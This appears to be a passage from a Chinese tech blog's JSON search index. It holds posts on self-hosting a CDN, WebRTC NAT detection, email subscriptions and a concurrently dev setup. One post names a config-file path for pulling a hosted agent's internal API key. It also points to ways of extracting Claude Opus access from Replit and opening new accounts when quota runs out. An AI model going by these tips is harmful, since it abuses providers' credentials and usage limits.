最后配上定时任务\n但是先等等！我们还需要手动拉取一次我们的博客源码。由于Github Action每次都会自动帮我们构建好，所以我们仅需拉取 page 分支，并且不需要拉取历史\ngit clone -b page --single-branch --depth=1 https://github.com/afoim/fuwari.git 然后写一个简单的脚本用以强制同步远程仓库的最新更改\ncd /root/fuwari git fetch origin git reset --hard origin/page 接着创建一个一分钟执行一次该脚本的定时任务\ncrontab -e 写入：\n* * * * * /root/vps-cicd/build.sh \u0026gt;\u0026gt; /var/log/vps-cicd-build.log 2\u0026gt;\u0026amp;1 接入 将两个甲骨文IP写入 oraclecdn.2x.nz 中\n接着将 2x.nz CNAME oracle.2x.nz\n高级 由于我们有两台Linux的完整控制权限，我们就可以实现一些高级功能\u0026hellip;\n通过 iptables 在L4层丢弃拨测IP发送的包，做到拨测网站全红😋 通过 iptables 设置L4层的TCP连接数速率限制，实现L4层防DDoS ","permalink":"https://blog.2x.nz/posts/self-host-cdn/","summary":"\u003ch1 id=\"前情提要\"\u003e前情提要\u003c/h1\u003e\n\u003cp\u003e因为最近搞了甲骨文，有俩1c1g的甲骨文机子，但是不知道能拿来干嘛\u003c/p\u003e\n\u003cp\u003e然后最近偶然发现甲骨文上托管HTML很绿\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/self-host-cdn/img/self-host-cdn.png\"\u003e\u003c/p\u003e\n\u003cp\u003e于是就想着是否能在我的俩甲骨文上托管我的静态博客？\u003c/p\u003e\n\u003ch1 id=\"思路\"\u003e思路\u003c/h1\u003e\n\u003cp\u003e首先，我们需要一个Web服务器，用来提供HTML内容，因为我是静态博客。所有我们不需要高级功能，故选择最快的 \u003ca href=\"https://github.com/static-web-server/static-web-server\"\u003estatic-web-server/static-web-server: A cross-platform, high-performance and asynchronous web server for static files-serving. ⚡\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e其次，我们还需要为它配置SSL，这里使用最简单的 \u003ca href=\"https://acme.sh\"\u003ehttps://acme.sh\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e最后，我们需要让他实时更新。嘛，最简单的就是写个定时任务，按照固定频次强制拉取远程仓库的最新更改\u003c/p\u003e\n\u003cp\u003e所以流程图最终大致如下\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart TD\n\n    用户 --\u003e 2x.nz --\u003e |DNS解析|cdn[oraclecdn.2x.nz] --\u003e 1[Oracle1]\n\n    cdn --\u003e 2[Oracle2]\n\n    1 --\u003e s1[SWS1]\n\n    2 --\u003e s2[SWS2]\n\n    Acme1 --\u003e |签发SSL|1\n\n    Acme2 --\u003e |签发SSL|2\n\n    cron[定时任务] --\u003e |拉取更新内容|1\n\n    cron --\u003e |拉取更新内容|2\n\n    s1 --\u003e r[静态博客]\n\n    s2 --\u003e r\n\u003c/pre\u003e\n\n\u003ch1 id=\"正式开始\"\u003e正式开始！\u003c/h1\u003e\n\u003cp\u003e首先，使用 \u003ca href=\"https://mobaxterm.mobatek.net/\"\u003eMobaXterm free Xserver and tabbed SSH client for Windows\u003c/a\u003e 连上两台机子并且启用 Multi Shell！\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e这样我们就可以输入一次命令，让多台机子同时执行！\u003c/em\u003e\u003c/p\u003e","title":"让我们自建一个自己的CDN！"},{"content":"免费优质线路2c4g VPS + 免费GLM无限用 前往 https://open.claw.cloud\n默认会给你个龙虾 你可能会觉得这没什么？那如果我说\u0026hellip;\n不过，试用只有7天，并且没有公网\n如果你凑巧 财力雄厚 可以每个月付 70 CNY\n即可得到 2c4g 优质线路150G大硬盘不限制流量的VPS + 无限制的 GLM-5\n另外，这个 GLM是可以逆出来的\n只需要前往以下路径，即可得到 API Endpoint 以及 API Key 。不过是内网，接个CPA转出来即可\n/home/openclaw/.openclaw/agents/main/agent/models.json 免费 Opus 前往 https://replit.com\n再前往 Linux.do 二级贴 https://linux.do/t/topic/1904533 https://linux.do/t/topic/1899899\n让 AI 自己逆向自己获取 Claude Opus 4.6 ，可接 Claude Code\n用的实际上是你的号上的份额，蹬完了可以开新号继续蹬~\n","permalink":"https://blog.2x.nz/posts/what-the-fuck-claw-replit/","summary":"\u003ch1 id=\"免费优质线路2c4g-vps--免费glm无限用\"\u003e免费优质线路2c4g VPS + 免费GLM无限用\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://open.claw.cloud/r/NMB9N9UFZ7JY\"\u003ehttps://open.claw.cloud\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e默认会给你个龙虾 \u003cem\u003e你可能会觉得这没什么？那如果我说\u0026hellip;\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e不过，试用只有7天，并且没有公网\u003c/p\u003e\n\u003cp\u003e如果你凑巧 \u003cstrong\u003e财力雄厚\u003c/strong\u003e 可以每个月付 \u003cstrong\u003e70 CNY\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e即可得到 \u003cstrong\u003e2c4g 优质线路150G大硬盘不限制流量的VPS\u003c/strong\u003e + \u003cstrong\u003e无限制的 GLM-5\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-8.png\"\u003e\u003c/p\u003e\n\u003cp\u003e另外，这个 GLM是可以逆出来的\u003c/p\u003e\n\u003cp\u003e只需要前往以下路径，即可得到 \u003cstrong\u003eAPI Endpoint\u003c/strong\u003e 以及 \u003cstrong\u003eAPI Key\u003c/strong\u003e 。不过是内网，接个CPA转出来即可\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e/home/openclaw/.openclaw/agents/main/agent/models.json\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-6.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-7.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"免费-opus\"\u003e免费 Opus\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://replit.com\"\u003ehttps://replit.com\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e再前往 Linux.do 二级贴 \u003ca href=\"https://linux.do/t/topic/1904533\"\u003ehttps://linux.do/t/topic/1904533\u003c/a\u003e \u003ca href=\"https://linux.do/t/topic/1899899\"\u003ehttps://linux.do/t/topic/1899899\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e让 AI 自己逆向自己获取 Claude Opus 4.6\u003c/strong\u003e ，可接 Claude Code\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e用的实际上是你的号上的份额，蹬完了可以开新号继续蹬~\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/what-the-fuck-claw-replit/img/what-the-fuck-claw-replit-9.png\"\u003e\u003c/p\u003e","title":"WTF？免费优质线路2c4g VPS！免费GLM模型无限用！免费Opus 4.6！"},{"content":"视频（非教程） https://www.bilibili.com/video/BV1H4DuBWEes/\n原理 我们都知道，NAT类型测试非常简单就可以实现，我们可以使用类似如下Python库在客户端本地跑一个脚本测试\nMikeWang000000/Natter\n但如果我说，我们根本就不需要下载一个程序，只需要打开一个浏览器就可以测试你的NAT类型呢？\n稍微深入一点，大部分的客户端测试你的NAT类型一般都是\n主动请求STUN服务器 分析返回的 公网IP:端口 判断NAT类型 但是，在浏览器中，我们无法发送原生的UDP（STUN）请求，只能使用一个包装过的UDP接口： WebRTC\n该功能设计初衷是让浏览器也可以进行P2P连接\n但我们也可以将它拿来测试NAT类型，不过我们的后端需要富裕一点：用两个不同的IP来探测\n实际上，它的原理简单来说就是：\n浏览器请求STUN服务器，将自己的 公网IP:端口 发送给后端A（HTTP/WS） 后端A收到浏览器的 公网IP:端口 后，发送回包，拿取凭证（因为浏览器不允许陌生源直接发包）。此时，后端A已经是可信源了 接下来，后端A将自己的凭证告知后端B，让后端B拿着这个凭证去请求浏览器。如果可以收到浏览器的回包，则是 全锥型 如果收不到，则让后端A换端口请求浏览器。如果可以收到包，则是 IP限制型 ，如果不行，则继续测试 最后，再让后端A用同一个端口请求浏览器。如果可以收到包，并且浏览器源端口与之前一致，则是 端口限制型 ，如果不一致或压根收不到包，则为 对称型 详细的技术文档参见： webrtc_check_nat/nat_detector_explanation.md at main · afoim/webrtc_check_nat\n实现 最终，我们只需要写好后端，再创建一个HTTP端点，即可实现 完整的、全状态、纯浏览器的 NAT类型检测\nafoim/webrtc_check_nat\nhttps://2x.nz/nat-check/\n","permalink":"https://blog.2x.nz/posts/check-nat-webrtc/","summary":"\u003ch1 id=\"视频非教程\"\u003e视频（非教程）\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1H4DuBWEes/\"\u003ehttps://www.bilibili.com/video/BV1H4DuBWEes/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e我们都知道，NAT类型测试非常简单就可以实现，我们可以使用类似如下Python库在客户端本地跑一个脚本测试\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/MikeWang000000/Natter\"\u003eMikeWang000000/Natter\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e但如果我说，我们根本就不需要下载一个程序，只需要打开一个浏览器就可以测试你的NAT类型呢？\u003c/p\u003e\n\u003cp\u003e稍微深入一点，大部分的客户端测试你的NAT类型一般都是\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e主动请求STUN服务器\u003c/li\u003e\n\u003cli\u003e分析返回的 \u003ccode\u003e公网IP:端口\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e判断NAT类型\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e但是，在浏览器中，我们无法发送原生的UDP（STUN）请求，只能使用一个包装过的UDP接口： \u003cstrong\u003eWebRTC\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e该功能设计初衷是让浏览器也可以进行P2P连接\u003c/p\u003e\n\u003cp\u003e但我们也可以将它拿来测试NAT类型，不过我们的后端需要富裕一点：\u003cstrong\u003e用两个不同的IP来探测\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e实际上，它的原理简单来说就是：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e浏览器请求STUN服务器，将自己的 \u003ccode\u003e公网IP:端口\u003c/code\u003e 发送给后端A（HTTP/WS）\u003c/li\u003e\n\u003cli\u003e后端A收到浏览器的  \u003ccode\u003e公网IP:端口\u003c/code\u003e 后，发送回包，拿取凭证（因为浏览器不允许陌生源直接发包）。此时，后端A已经是可信源了\u003c/li\u003e\n\u003cli\u003e接下来，后端A将自己的凭证告知后端B，让后端B拿着这个凭证去请求浏览器。如果可以收到浏览器的回包，则是 \u003cstrong\u003e全锥型\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e如果收不到，则让后端A换端口请求浏览器。如果可以收到包，则是 \u003cstrong\u003eIP限制型\u003c/strong\u003e ，如果不行，则继续测试\u003c/li\u003e\n\u003cli\u003e最后，再让后端A用同一个端口请求浏览器。如果可以收到包，并且浏览器源端口与之前一致，则是 \u003cstrong\u003e端口限制型\u003c/strong\u003e ，如果不一致或压根收不到包，则为 \u003cstrong\u003e对称型\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e详细的技术文档参见： \u003ca href=\"https://github.com/afoim/webrtc_check_nat/blob/main/nat_detector_explanation.md\"\u003ewebrtc_check_nat/nat_detector_explanation.md at main · afoim/webrtc_check_nat\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"实现\"\u003e实现\u003c/h1\u003e\n\u003cp\u003e最终，我们只需要写好后端，再创建一个HTTP端点，即可实现 \u003cstrong\u003e完整的、全状态、纯浏览器的\u003c/strong\u003e NAT类型检测\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/check-nat-webrtc/img/check-nat-webrtc.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/webrtc_check_nat\"\u003eafoim/webrtc_check_nat\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://2x.nz/nat-check/\"\u003ehttps://2x.nz/nat-check/\u003c/a\u003e\u003c/p\u003e","title":"握草，用浏览器检测你的NAT类型？！"},{"content":"视频 https://www.bilibili.com/video/BV1hpDKBbES9/\n正式开始 众所周知，目前如果你想订阅本博客，可以采用以下几种方式\n瞪眼法 在多次浏览中通过大脑的逻辑中枢来判断有哪些新文章，或有哪些文章更新了 简易瞪眼法 在多次浏览中，若文章状态变化，右下角的小铃铛则会显示相应通知，点击后甚至可以看到高级的DIFF RSS 通过RSS订阅器订阅本博客的RSS XML文件，由第三方告知文章更新状态 加入群组 通过置顶文章加入群组，群内会有Bot在文章更新时广播一条消息 催更法 想办法要到我的联系方式，催更，大概率我会在你要求的新文章发布后踹你一脚 emm，看似很多，的确很多，但是由于多多益善，可得还不够多，所以我们准备再添加一个古法订阅\n那就是 电子邮件通知\n实现它在现在其实非常简单，由于我们已经有了一个 论坛 ，可以直接在用户个人中心添加一个选项卡，勾选后即可接收后续的文章通知\n我们甚至无需担心垃圾邮件，因为在注册论坛时已经有了相对严格的验证\n那么接下来就是架构的设置，正如上文提到的，我们有一个提醒文章更新的Bot\n实际上，最终的电子邮件发送的东西和这个东西差不多\n也就是说，我们只需要让Bot在发送消息的同时，将要发送的内容推送给我们\n至于Bot是如何做到文章更新推送消息的，请参见 这里\n那么不难想象，我们只需要在后端创建一个WebHook端点，接受Bot发送的WebHook消息，然后将正文作为邮件正文发送给订阅后的用户\n最终，架构如下\nflowchart TD A[Git Push 特殊事件posts: / update:] --\u003e B[GitHub WebHook] B --\u003e C[Bot WebHook 接收端点] C --\u003e D[延迟队列 / 定时器] D --\u003e E[Bot 向群内推送消息] D --\u003e F[二次 WebHook 请求] F --\u003e G[论坛后端 WebHook 端点] G --\u003e H[封装邮件正文] H --\u003e I[异步邮件发送服务] I --\u003e J[所有订阅用户] ok！思路清晰了，实践就简单了\n首先前往Bot插件，将 blog_post.py 插件添加一个二次WebHook的功能\n再为论坛后端添加一个接受WebHook的端点，并绑定发邮事件。顺便再加一个API用于控制用户是否为 订阅者\n最终在前端对接后端API，以及添加新UI控件支持用户在论坛的个人信息页配置是否要接受新文章推送\n测试！\n","permalink":"https://blog.2x.nz/posts/email-posts-sub/","summary":"\u003ch1 id=\"视频\"\u003e视频\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1hpDKBbES9/\"\u003ehttps://www.bilibili.com/video/BV1hpDKBbES9/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e众所周知，目前如果你想订阅本博客，可以采用以下几种方式\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e瞪眼法\u003c/strong\u003e 在多次浏览中通过大脑的逻辑中枢来判断有哪些新文章，或有哪些文章更新了\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e简易瞪眼法\u003c/strong\u003e 在多次浏览中，若文章状态变化，右下角的小铃铛则会显示相应通知，点击后甚至可以看到高级的DIFF\n\u003cimg loading=\"lazy\" src=\"/posts/email-posts-sub/img/email-posts-sub.png\"\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRSS\u003c/strong\u003e 通过RSS订阅器订阅本博客的RSS XML文件，由第三方告知文章更新状态\n\u003cimg loading=\"lazy\" src=\"/posts/email-posts-sub/img/email-posts-sub-1.png\"\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e加入群组\u003c/strong\u003e 通过置顶文章加入群组，群内会有Bot在文章更新时广播一条消息\n\u003cimg loading=\"lazy\" src=\"/posts/email-posts-sub/img/email-posts-sub-2.png\"\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e催更法\u003c/strong\u003e 想办法要到我的联系方式，催更，大概率我会在你要求的新文章发布后踹你一脚\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eemm，看似很多，的确很多，但是由于多多益善，可得还不够多，所以我们准备再添加一个古法订阅\u003c/p\u003e\n\u003cp\u003e那就是 \u003cstrong\u003e电子邮件通知\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e实现它在现在其实非常简单，由于我们已经有了一个 \u003ca href=\"/forum/\"\u003e论坛\u003c/a\u003e ，可以直接在用户个人中心添加一个选项卡，勾选后即可接收后续的文章通知\u003c/p\u003e\n\u003cp\u003e我们甚至无需担心垃圾邮件，因为在注册论坛时已经有了相对严格的验证\u003c/p\u003e\n\u003cp\u003e那么接下来就是架构的设置，正如上文提到的，我们有一个提醒文章更新的Bot\u003c/p\u003e\n\u003cp\u003e实际上，最终的电子邮件发送的东西和这个东西差不多\u003c/p\u003e\n\u003cp\u003e也就是说，我们只需要让Bot在发送消息的同时，将要发送的内容推送给我们\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e至于Bot是如何做到文章更新推送消息的，请参见 \u003ca href=\"/posts/github-webhook/\"\u003e这里\u003c/a\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e那么不难想象，我们只需要在后端创建一个WebHook端点，接受Bot发送的WebHook消息，然后将正文作为邮件正文发送给订阅后的用户\u003c/p\u003e\n\u003cp\u003e最终，架构如下\u003c/p\u003e\n\u003cpre class=\"mermaid\"\u003eflowchart TD\n    A[Git Push 特殊事件\u003cbr/\u003eposts: / update:] --\u003e B[GitHub WebHook]\n    B --\u003e C[Bot WebHook 接收端点]\n\n    C --\u003e D[延迟队列 / 定时器]\n\n    D --\u003e E[Bot 向群内推送消息]\n    D --\u003e F[二次 WebHook 请求]\n\n    F --\u003e G[论坛后端 WebHook 端点]\n\n    G --\u003e H[封装邮件正文]\n    H --\u003e I[异步邮件发送服务]\n    I --\u003e J[所有订阅用户]\n\u003c/pre\u003e\n\n\u003cp\u003eok！思路清晰了，实践就简单了\u003c/p\u003e","title":"手搓一个电子邮件订阅器！"},{"content":"引言 经常做全栈的小伙伴们都知道，写完后端看效果要dev，写完前端看效果也要dev，那么有没有一劳永逸的解决方案呢？\n比如说我的项目：\nafoim/acofork_forum_backend\n前端是一坨React\n后端是一坨 Typescript\n而前端要用 Vite 来 Dev\n那么后端还要使用 Wrangler 来 Dev\n那么如果我们想要测试，就需要把前后端的dev一起拉起来，对吧？\n但是不知道为什么，在今天之前，我都是用一种很奇妙的方法来做这件事的，那就是\n我先Build前端，然后让后端把前端build后的产物作为静态路由\n这会导致一个问题，由于最终是 Wrangler 起的 Dev，那么后端自然是可以热重载的了，那么前端呢？\n在曾经，我改一次前端，就要 rebuild 一下，但是现在，我们有一个更好的解决方案，那就是：\nconcurrently !\n它是一个能给前端 + 后端的 Dev 同时拉起来，这样，我们就同时得到了前后端的热重载，我们只需要专心的去改代码，网页会实时呈现效果\n正式开始 首先，安装 concurrently 的 npm 包\nnpm install -D concurrently 接下来配置 package.json 。意为：调用 concurrently 工具同时运行 npm run dev:frontend 和 npm run dev:backend\ndev-remote 是用来连接远程 D1 SQL 进行开发调试的\n\u0026#34;scripts\u0026#34;: { \u0026#34;build:frontend\u0026#34;: \u0026#34;vite build --config frontend/vite.config.ts\u0026#34;, \u0026#34;dev:frontend\u0026#34;: \u0026#34;vite --config frontend/vite.config.ts\u0026#34;, \u0026#34;dev:backend\u0026#34;: \u0026#34;wrangler dev\u0026#34;, \u0026#34;dev:backend-remote\u0026#34;: \u0026#34;wrangler dev --remote\u0026#34;, \u0026#34;deploy\u0026#34;: \u0026#34;npm run build:frontend \u0026amp;\u0026amp; wrangler deploy\u0026#34;, \u0026#34;dev\u0026#34;: \u0026#34;concurrently \\\u0026#34;npm run dev:frontend\\\u0026#34; \\\u0026#34;npm run dev:backend\\\u0026#34;\u0026#34;, \u0026#34;dev:remote\u0026#34;: \u0026#34;concurrently \\\u0026#34;npm run dev:frontend\\\u0026#34; \\\u0026#34;npm run dev:backend-remote\\\u0026#34;\u0026#34;, \u0026#34;start\u0026#34;: \u0026#34;npm run build:frontend \u0026amp;\u0026amp; wrangler dev\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;vitest run\u0026#34;, \u0026#34;cf-typegen\u0026#34;: \u0026#34;wrangler types\u0026#34; 最后，我们需要设置一下 Vite 的 Proxy ，将 /api 也就是后端的请求转发给 Wrangler ，配置 Vite 配置文件的 server 块\nserver: { fs: { allow: [\u0026#39;..\u0026#39;] }, proxy: { \u0026#39;/api\u0026#39;: { target: \u0026#39;http://localhost:8787\u0026#39;, changeOrigin: true } } } 然后，我们就可以使用一条命令，同时拉起前后端的 Dev ，并且都支持热重载\nnpm run dev ","permalink":"https://blog.2x.nz/posts/concurrently/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e经常做全栈的小伙伴们都知道，写完后端看效果要dev，写完前端看效果也要dev，那么有没有一劳永逸的解决方案呢？\u003c/p\u003e\n\u003cp\u003e比如说我的项目：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/afoim/acofork_forum_backend\"\u003eafoim/acofork_forum_backend\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e前端是一坨React\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/concurrently/img/concurrently-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e后端是一坨 Typescript\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/concurrently/img/concurrently-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e而前端要用 Vite 来 Dev\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/concurrently/img/concurrently-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e那么后端还要使用 Wrangler 来 Dev\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/concurrently/img/concurrently-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e那么如果我们想要测试，就需要把前后端的dev一起拉起来，对吧？\u003c/p\u003e\n\u003cp\u003e但是不知道为什么，在今天之前，我都是用一种很奇妙的方法来做这件事的，那就是\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e我先Build前端，然后让后端把前端build后的产物作为静态路由\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e这会导致一个问题，由于最终是 Wrangler 起的 Dev，那么后端自然是可以热重载的了，那么前端呢？\u003c/p\u003e\n\u003cp\u003e在曾经，我改一次前端，就要 rebuild 一下，但是现在，我们有一个更好的解决方案，那就是：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003econcurrently !\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e它是一个能给前端 + 后端的 Dev 同时拉起来，这样，我们就同时得到了前后端的热重载，我们只需要专心的去改代码，网页会实时呈现效果\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先，安装 concurrently 的 npm 包\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enpm install -D concurrently\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来配置 \u003ccode\u003epackage.json\u003c/code\u003e 。意为：调用 \u003cstrong\u003econcurrently\u003c/strong\u003e 工具同时运行 \u003ccode\u003enpm run dev:frontend\u003c/code\u003e 和 \u003ccode\u003enpm run dev:backend\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003edev-remote 是用来连接远程 D1 SQL 进行开发调试的\u003c/em\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;scripts\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;build:frontend\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vite build --config frontend/vite.config.ts\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;dev:frontend\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vite --config frontend/vite.config.ts\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;dev:backend\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;wrangler dev\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;dev:backend-remote\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;wrangler dev --remote\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;deploy\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;npm run build:frontend \u0026amp;\u0026amp; wrangler deploy\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;dev\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;concurrently \\\u0026#34;npm run dev:frontend\\\u0026#34; \\\u0026#34;npm run dev:backend\\\u0026#34;\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;dev:remote\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;concurrently \\\u0026#34;npm run dev:frontend\\\u0026#34; \\\u0026#34;npm run dev:backend-remote\\\u0026#34;\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;start\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;npm run build:frontend \u0026amp;\u0026amp; wrangler dev\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;test\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;vitest run\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;cf-typegen\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;wrangler types\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后，我们需要设置一下 Vite 的 Proxy ，将 \u003ccode\u003e/api\u003c/code\u003e 也就是后端的请求转发给 Wrangler ，配置 Vite 配置文件的 \u003ccode\u003eserver\u003c/code\u003e 